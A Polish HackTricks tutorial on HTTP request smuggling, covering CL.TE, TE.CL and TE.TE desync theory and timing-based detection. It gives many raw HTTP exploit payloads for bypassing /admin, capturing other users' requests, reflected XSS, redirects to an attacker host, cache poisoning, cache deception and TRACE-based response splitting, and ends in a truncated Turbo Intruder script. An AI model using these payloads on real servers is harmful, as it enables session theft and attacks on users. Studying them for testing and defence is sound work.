.. | ||
browser-http-request-smuggling.md | ||
README.md | ||
request-smuggling-in-http-2-downgrades.md |
Atak na Przesyłanie Żądań HTTP / Atak Desynchronizacji HTTP
Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Co to jest
Ta podatność występuje, gdy desynchronizacja między serwerami proxy front-end a serwerem back-end pozwala atakującemu na wysłanie żądania HTTP, które zostanie zinterpretowane jako jedno żądanie przez serwery proxy front-end (bilansowanie obciążenia/przekierowanie) i jako 2 żądania przez serwer back-end.
Pozwala to użytkownikowi zmodyfikować następne żądanie, które dotrze do serwera back-end po jego.
Teoria
Jeśli wiadomość zostanie otrzymana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI zostać zignorowane.
Content-Length
Nagłówek encji Content-Length wskazuje rozmiar ciała encji, w bajtach, wysłanej do odbiorcy.
Transfer-Encoding: chunked
Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.
Chunked oznacza, że duże dane są wysyłane w serii kawałków.
Rzeczywistość
Serwer Front-End (bilansowanie obciążenia / Serwer Proxy Odwrotny) przetwarza nagłówek content-length lub transfer-encoding, a serwer Back-End przetwarza drugi, co powoduje desynchronizację między tymi dwoma systemami.
Może to być bardzo krytyczne, ponieważ atakujący będzie w stanie wysłać jedno żądanie do serwera odwrotnego proxy, które zostanie zinterpretowane przez serwer back-end jako 2 różne żądania. Niebezpieczeństwo tej techniki polega na tym, że serwer back-end zinterpretuje wstrzyknięte drugie żądanie tak, jakby pochodziło od następnego klienta, a rzeczywiste żądanie tego klienta będzie częścią wstrzykniętego żądania.
Szczególne przypadki
Pamiętaj, że w protokole HTTP znak nowej linii składa się z 2 bajtów:
- Content-Length: Ten nagłówek używa liczby dziesiętnej do wskazania liczby bajtów ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, znak nowej linii nie jest potrzebny na końcu żądania.
- Transfer-Encoding: Ten nagłówek używa w ciale liczby szesnastkowej do wskazania liczby bajtów następnego kawałka. Kawałek musi zakończyć się znakiem nowej linii, ale ten znak nie jest uwzględniany przez wskaźnik długości. Ta metoda przesyłania musi zakończyć się kawałkiem o rozmiarze 0, po którym następują 2 znaki nowej linii:
0
- Connection: Na podstawie mojego doświadczenia zaleca się użycie
Connection: keep-alive
w pierwszym żądaniu ataku na Przesyłanie Żądań.
Podstawowe Przykłady
{% hint style="success" %}
Próbując wykorzystać to za pomocą Burp Suite, wyłącz opcje Update Content-Length
i Normalize HTTP/1 line endings
w repeaterze, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i błędnych długości treści.
{% endhint %}
Ataki na przesyłanie żądań HTTP są tworzone poprzez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków Content-Length
(CL) i Transfer-Encoding
(TE) przez serwery front-end i back-end. Ataki te mogą przybierać różne formy, głównie jako CL.TE, TE.CL i TE.TE. Każdy typ reprezentuje unikalne połączenie sposobu, w jaki serwery front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z przetwarzania tego samego żądania przez serwery w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.
Podstawowe Przykłady Typów Podatności
Podatność CL.TE (Content-Length używane przez Front-End, Transfer-Encoding używane przez Back-End)
- Front-End (CL): Przetwarza żądanie na podstawie nagłówka
Content-Length
. - Back-End (TE): Przetwarza żądanie na podstawie nagłówka
Transfer-Encoding
. - Scenariusz Ataku:
- Atakujący wysyła żądanie, w którym wartość nagłówka
Content-Length
nie zgadza się z rzeczywistą długością treści. - Serwer front-end przekazuje całe żądanie do serwera back-end, na podstawie wartości
Content-Length
. - Serwer back-end przetwarza żądanie jako kawałkowe ze względu na nagłówek
Transfer-Encoding: chunked
, interpretując pozostałe dane jako oddzielne, następne żądanie. - Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
Podatność TE.CL (Transfer-Encoding używane przez Front-End, Content-Length używane przez Back-End)
- Front-End (TE): Przetwarza żądanie na podstawie nagłówka
Transfer-Encoding
. - Back-End (CL): Przetwarza żądanie na podstawie nagłówka
Content-Length
. - Scenariusz Ataku:
- Atakujący wysyła żądanie kawałkowe, gdzie rozmiar kawałka (
7b
) i rzeczywista długość treści (Content-Length: 4
) nie zgadzają się. - Serwer front-end, respektując
Transfer-Encoding
, przekazuje całe żądanie do serwera back-end. - Serwer back-end, respektując
Content-Length
, przetwarza jedynie początkową część żądania (7b
bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania. - Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
Vulnerability TE.TE (Transfer-Encoding używane przez obie, z zaciemnieniem)
- Serwery: Oba obsługują
Transfer-Encoding
, ale jeden można oszukać, ignorując go za pomocą zaciemnienia. - Scenariusz ataku:
- Atakujący wysyła żądanie z zaciemnionymi nagłówkami
Transfer-Encoding
. - W zależności od tego, który serwer (front-end lub back-end) nie rozpoznaje zaciemnienia, może zostać wykorzystana podatność CL.TE lub TE.CL.
- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, co prowadzi do przemytu.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Scenariusz CL.CL (Content-Length używane przez oba, front-end i back-end):
- Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka
Content-Length
. - Ten scenariusz zazwyczaj nie prowadzi do przemytu, ponieważ oba serwery interpretują długość żądania w sposób zgodny.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normalne żądanie
Scenariusz CL != 0:
- Dotyczy scenariuszy, w których nagłówek
Content-Length
jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania zawiera treść. - Jest to istotne przy rozumieniu i tworzeniu ataków przemytu, ponieważ wpływa na to, w jaki sposób serwery określają koniec żądania.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Ciało nie jest puste
Uszkadzanie serwera WWW
Ta technika jest również przydatna w scenariuszach, gdzie jest możliwe uszkodzenie serwera WWW podczas odczytywania początkowych danych HTTP, ale bez zamykania połączenia. W ten sposób ciało żądania HTTP zostanie uznane za następne żądanie HTTP.
Na przykład, jak wyjaśniono w tym opisie, w Werkzeug było możliwe wysłanie niektórych znaków Unicode, co spowoduje uszkodzenie serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem Connection: keep-alive
, ciało żądania nie zostanie odczytane, a połączenie będzie nadal otwarte, więc ciało żądania będzie traktowane jako następne żądanie HTTP.
Wymuszanie za pomocą nagłówków hop-by-hop
Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby usunął nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe będzie nadużycie przemytu HTTP.
Connection: Content-Length
Dla więcej informacji na temat nagłówków hop-by-hop odwiedź:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
Znajdowanie Podatności na HTTP Request Smuggling
Identyfikacja podatności na HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
Znajdowanie Podatności CL.TE Za Pomocą Technik Czasowych
- Metoda:
- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
- Obserwacja:
- Serwer front-endowy przetwarza żądanie na podstawie
Content-Length
i przerywa wiadomość przedwcześnie. - Serwer back-endowy, oczekując na wiadomość kawałkowaną, czeka na kolejny kawałek, który nigdy nie przychodzi, powodując opóźnienie.
- Wskaźniki:
- Timeouts lub długie opóźnienia w odpowiedzi.
- Otrzymanie błędu 400 Bad Request od serwera back-endowego, czasami z szczegółowymi informacjami o serwerze.
Znajdowanie Podatności TE.CL Za Pomocą Technik Czasowych
- Metoda:
- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
- Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Obserwacja:
- Serwer front-endowy przetwarza żądanie na podstawie
Transfer-Encoding
i przekazuje całą wiadomość. - Serwer back-endowy, oczekując na wiadomość na podstawie
Content-Length
, czeka na dodatkowe dane, które nigdy nie przychodzą, powodując opóźnienie.
Inne Metody Znajdowania Podatności
- Analiza Różnicowa Odpowiedzi:
- Wyślij nieco zróżnicowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, co wskazuje na rozbieżność w parsowaniu.
- Użycie Narzędzi Automatyzujących:
- Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
- Testy Zmienności Content-Length:
- Wyślij żądania z różnymi wartościami
Content-Length
, które nie są zgodne z rzeczywistą długością treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami. - Testy Zmienności Transfer-Encoding:
- Wyślij żądania z zasłoniętymi lub zniekształconymi nagłówkami
Transfer-Encoding
i monitoruj, jak różnie serwery front-endowy i back-endowy reagują na takie manipulacje.
Testowanie Podatności na HTTP Request Smuggling
Po potwierdzeniu skuteczności technik czasowych, istotne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia twoich żądań, na przykład wysłanie żądania do /
powinno skutkować odpowiedzią 404. Przykłady CL.TE
i TE.CL
omówione wcześniej w Podstawowe Przykłady pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient chce uzyskać dostęp do innych zasobów.
Kluczowe Rozważania
Podczas testowania podatności na request smuggling poprzez ingerencję w inne żądania, pamiętaj o:
- Odrębne Połączenia Sieciowe: "Atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza obecności podatności.
- Stałe URL i Parametry: Staraj się używać identycznych URL-i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów back-endowych na podstawie URL-i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania są przetwarzane przez ten sam serwer, co jest warunkiem koniecznym do udanego ataku.
- Warunki Czasowe i Wyścigowe: "Normalne" żądanie, mające na celu wykrycie ingerencji z "atakującego" żądania, rywalizuje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. W przypadku intensywnie obciążonych aplikacji może być konieczne kilka prób, aby ostatecznie potwierdzić podatność.
- Wyzwania Związane z Balansem Obciążenia: Serwery front-endowe działające jako balansery obciążenia mogą rozprowadzać żądania na różne systemy back-endowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Aspekt balansowania obciążenia może wymagać kilku prób, aby potwierdzić podatność.
- Niekorzystny Wpływ na Użytkownika: Jeśli twój atak przypadkowo wpłynie na żądanie innego użytkownika (nie na "normalne" żądanie wysłane w celu wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócić innych użytkowników, wymagając ostrożnego podejścia.
Nadużywanie HTTP Request Smuggling
Omijanie Bezpieczeństwa Front-Endu za Pośrednictwem HTTP Request Smuggling
Czasami proxy front-endowe narzucają środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą być obejścia poprzez wykorzystanie HTTP Request Smuggling, umożliwiając nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład dostęp do /admin
może być zablokowany z zewnątrz, a proxy front-endowy aktywnie blokuje takie próby. Niemniej jednak to proxy może zaniedbać sprawdzenie osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając luki umożliwiające obejście tych ograniczeń.
Rozważ poniższe przykłady ilustrujące, jak HTTP Request Smuggling może być wykorzystane do obejścia kontroli bezpieczeństwa front-endu, celując szczególnie w ścieżkę /admin
, która zazwyczaj jest chroniona przez proxy front-endowe:
Przykład CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
W ataku CL.TE nagłówek Content-Length
jest wykorzystywany do początkowego żądania, podczas gdy osadzone żądanie wykorzystuje nagłówek Transfer-Encoding: chunked
. Przekierowanie front-endowe przetwarza początkowe żądanie POST
, ale nie sprawdza osadzonego żądania GET /admin
, co umożliwia nieautoryzowany dostęp do ścieżki /admin
.
Przykład TE.CL
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
W przeciwnym razie, w ataku TE.CL początkowe żądanie POST
używa Transfer-Encoding: chunked
, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka Content-Length
. Podobnie jak w ataku CL.TE, proxy front-endu pomija przemycone żądanie GET /admin
, nieumyślnie przyznając dostęp do ograniczonej ścieżki /admin
.
Ujawnianie przepisywania żądania front-endu
Aplikacje często korzystają z serwera front-endowego do modyfikowania przychodzących żądań przed przekazaniem ich do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak X-Forwarded-For: <IP klienta>
, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby omijania zabezpieczeń lub odkrywania ukrytych informacji lub punktów końcowych.
Aby zbadać, w jaki sposób proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odbija w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
W tej strukturze kolejne składniki żądania są dołączane po search=
, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
Ważne jest, aby wyrównać nagłówek Content-Length
z długością rzeczywistej zawartości zagnieżdżonego żądania. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość spowoduje ucięcie odzwierciedlonych danych, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
Ta technika jest również stosowana w kontekście podatności TE.CL, ale żądanie powinno zakończyć się search=\r\n0
. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
Ta metoda służy głównie do zrozumienia modyfikacji żądania dokonanych przez proxy front-end, co w zasadzie stanowi autorską analizę.
Przechwytywanie żądań innych użytkowników
Możliwe jest przechwycenie żądań następnego użytkownika, dołączając określone żądanie jako wartość parametru podczas operacji POST. Oto jak to można osiągnąć:
Dołączając poniższe żądanie jako wartość parametru, można przechowywać żądanie następnego klienta:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
W tym scenariuszu parametr komentarza ma przechowywać treści w sekcji komentarzy posta na publicznie dostępnej stronie. W rezultacie treść następnego żądania pojawi się jako komentarz.
Jednakże ta technika ma swoje ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru użytego w przemyconym żądaniu. Dla przesyłek formularzy zakodowanych w formie URL, ten ogranicznik to znak &
. Oznacza to, że przechwycone treści z żądania użytkownika ofiary zatrzymają się na pierwszym &
, który może nawet być częścią ciągu zapytania.
Dodatkowo warto zauważyć, że ten sposób jest również wykonalny przy podatności TE.CL. W takich przypadkach żądanie powinno zakończyć się search=\r\n0
. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
Wykorzystanie przemyconego żądania HTTP do eksploatacji odbitego XSS
Przemycone żądanie HTTP może być wykorzystane do eksploatacji stron internetowych podatnych na Odbity XSS, oferując znaczące korzyści:
- Interakcja z użytkownikami docelowymi nie jest wymagana.
- Pozwala na eksploatację XSS w częściach żądania, do których zazwyczaj nie można uzyskać dostępu, takich jak nagłówki żądania HTTP.
W przypadkach, gdy strona internetowa jest podatna na Odbity XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ten payload został zaprojektowany w celu wykorzystania podatności poprzez:
- Zainicjowanie żądania
POST
, pozornie typowego, z nagłówkiemTransfer-Encoding: chunked
wskazującym początek smugglowania. - Następnie
0
, oznaczające koniec ciała wiadomości w formacie chunked. - Następnie wprowadzone zostaje smugglowane żądanie
GET
, gdzie nagłówekUser-Agent
jest zainfekowany skryptem<script>alert(1)</script>
, wywołując XSS podczas przetwarzania tego kolejnego żądania przez serwer.
Poprzez manipulację User-Agent
poprzez smugglowanie, payload omija normalne ograniczenia żądania, wykorzystując w ten sposób podatność na Reflected XSS w nietypowy, ale skuteczny sposób.
HTTP/0.9
{% hint style="danger" %}
W przypadku, gdy treść użytkownika jest odzwierciedlana w odpowiedzi z Content-type
takim jak text/plain
, co uniemożliwia wykonanie XSS. Jeśli serwer obsługuje HTTP/0.9, może być możliwe to obejście!
{% endhint %}
Wersja HTTP/0.9 była wcześniej niż 1.0 i używa tylko czasowników GET i nie odpowiada z nagłówkami, tylko treścią.
W tym opisie, zostało to wykorzystane poprzez smugglowanie żądania i podatny punkt końcowy, który odpowie na wejście użytkownika w celu przemytia żądania z użyciem HTTP/0.9. Parametr, który zostanie odzwierciedlony w odpowiedzi, zawierał fałszywą odpowiedź HTTP/1.1 (z nagłówkami i treścią), więc odpowiedź będzie zawierać poprawny wykonywalny kod JS z Content-Type
text/html
.
Wykorzystanie przekierowań na stronie z wykorzystaniem smugglowania żądań HTTP
Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka Host
w adresie URL przekierowania. Jest to powszechne w serwerach WWW takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby zawierać ten ukośnik:
GET /home HTTP/1.1
Host: normal-website.com
Wyniki:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Chociaż pozornie nieszkodliwe, to zachowanie można manipulować za pomocą przemytu żądań HTTP, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
To przemycony żądanie może spowodować przekierowanie następnego przetworzonego żądania użytkownika do strony internetowej kontrolowanej przez atakującego:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Wyniki:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript zostało przejęte. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
Wykorzystanie Zatrucia Pamięci Cache Sieci Web poprzez Przesyłanie Zapytań HTTP
Zatrucie pamięci cache sieci web może być wykonane, jeśli którykolwiek z komponentów infrastruktury front-endu buforuje zawartość, zazwyczaj w celu poprawy wydajności. Poprzez manipulację odpowiedzi serwera, możliwe jest zatrucie pamięci cache.
Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmienione, aby zwrócić błąd 404 (patrz Podstawowe Przykłady). Podobnie, możliwe jest oszukanie serwera, aby dostarczył zawartość /index.html
w odpowiedzi na żądanie pliku /static/include.js
. W rezultacie zawartość /static/include.js
zostaje zastąpiona w pamięci cache zawartością /index.html
, co sprawia, że /static/include.js
staje się niedostępny dla użytkowników, potencjalnie prowadząc do ataku typu Denial of Service (DoS).
Ta technika staje się szczególnie potężna, jeśli zostanie odkryta podatność na Przekierowanie Otwarte lub jeśli istnieje przekierowanie na stronie do przekierowania otwartego. Takie podatności mogą być wykorzystane do zastąpienia zbuforowanej zawartości /static/include.js
skryptem kontrolowanym przez atakującego, umożliwiając w zasadzie rozległy atak typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego /static/include.js
.
Poniżej znajduje się ilustracja wykorzystania zatrucia pamięci cache połączonego z przekierowaniem na stronie do przekierowania otwartego. Celem jest zmiana zawartości cache pliku /static/include.js
w celu serwowania kodu JavaScript kontrolowanego przez atakującego:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Zauważ osadzone żądanie kierujące się do /post/next?postId=3
. To żądanie zostanie przekierowane do /post?postId=4
, wykorzystując wartość nagłówka Host do określenia domeny. Poprzez zmianę nagłówka Host, atakujący może przekierować żądanie do swojej domeny (przekierowanie wewnętrzne na zewnętrzne przekierowanie).
Po udanym zatruciu gniazda, należy zainicjować żądanie GET dla /static/include.js
. To żądanie zostanie zanieczyszczone przez poprzednie żądanie przekierowania wewnętrznego na zewnętrzne przekierowanie i pobierze zawartość skryptu kontrolowanego przez atakującego.
Następnie, każde żądanie dla /static/include.js
będzie serwować zbuforowaną zawartość skryptu atakującego, efektywnie uruchamiając szeroki atak XSS.
Użycie przemytu żądań HTTP do przeprowadzenia oszustwa pamięci podręcznej sieci web
Jaka jest różnica między zatruciem pamięci podręcznej sieci web a oszustwem pamięci podręcznej sieci web?
- W zatruciu pamięci podręcznej sieci web, atakujący powoduje, że aplikacja przechowuje pewną złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
- W oszustwie pamięci podręcznej sieci web, atakujący powoduje, że aplikacja przechowuje pewną wrażliwą zawartość należącą do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
Atakujący tworzy przemycone żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ poniższy przykład:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznej (np. /someimage.png
), wrażliwe dane ofiary z /private/messages
mogą zostać zapisane w pamięci podręcznej pod wpisem dla treści statycznej. W rezultacie atakujący mógłby potencjalnie odzyskać te zapisane wrażliwe dane.
Nadużywanie metody TRACE za pomocą Przemytu Żądań HTTP
W tym poście sugerowane jest, że jeśli serwer ma włączoną metodę TRACE, możliwe byłoby jej nadużycie za pomocą Przemytu Żądań HTTP. Wynika to z faktu, że ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Wysyła odpowiedź w postaci:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Przykładem wykorzystania tego zachowania byłoby przemytanie najpierw żądania HEAD. To żądanie zostanie zareagowane tylko nagłówkami żądania GET (Content-Type
wśród nich). Następnie przemyć natychmiast po HEAD żądanie TRACE, które będzie odbijać wysłane dane.
Ponieważ odpowiedź HEAD będzie zawierała nagłówek Content-Length
, odpowiedź na żądanie TRACE będzie traktowana jako treść odpowiedzi HEAD, co pozwoli na odbicie dowolnych danych w odpowiedzi.
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc można to wykorzystać na przykład w pamięci podręcznej pliku JS do wstrzyknięcia dowolnego kodu JS.
Nadużywanie TRACE za pomocą Podziału Odpowiedzi HTTP
Kontynuując śledzenie tego posta sugeruje się inną metodę nadużycia metody TRACE. Jak wspomniano, przemycając żądanie HEAD i żądanie TRACE, można kontrolować pewne odbite dane w odpowiedzi na żądanie HEAD. Długość treści żądania HEAD jest podana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.
Dlatego nowym pomysłem byłoby to, że znając tę długość Content-Length i dane podane w odpowiedzi TRACE, można sprawić, że odpowiedź TRACE zawiera poprawną odpowiedź HTTP po ostatnim bajcie Content-Length, umożliwiając atakującemu całkowitą kontrolę nad żądaniem do następnej odpowiedzi (co mogłoby być wykorzystane do wykonania zatrucia pamięci podręcznej).
Przykład:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Spowoduje to wygenerowanie tych odpowiedzi (zauważ, że odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE staje się częścią ciała HEAD, a gdy Content-Length HEAD się kończy, poprawna odpowiedź HTTP jest przemycona):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Uzbrajanie żądania HTTP Request Smuggling za pomocą Desynchronizacji Odpowiedzi HTTP
Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Spróbuj tej innej metody eksploatacji:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
Inne Techniki HTTP Request Smuggling
- Browser HTTP Request Smuggling (Po stronie klienta)
{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}
- Request Smuggling w Downgrade'ach HTTP/2
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}
Skrypty Turbo Intruder
CL.TE
Z https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
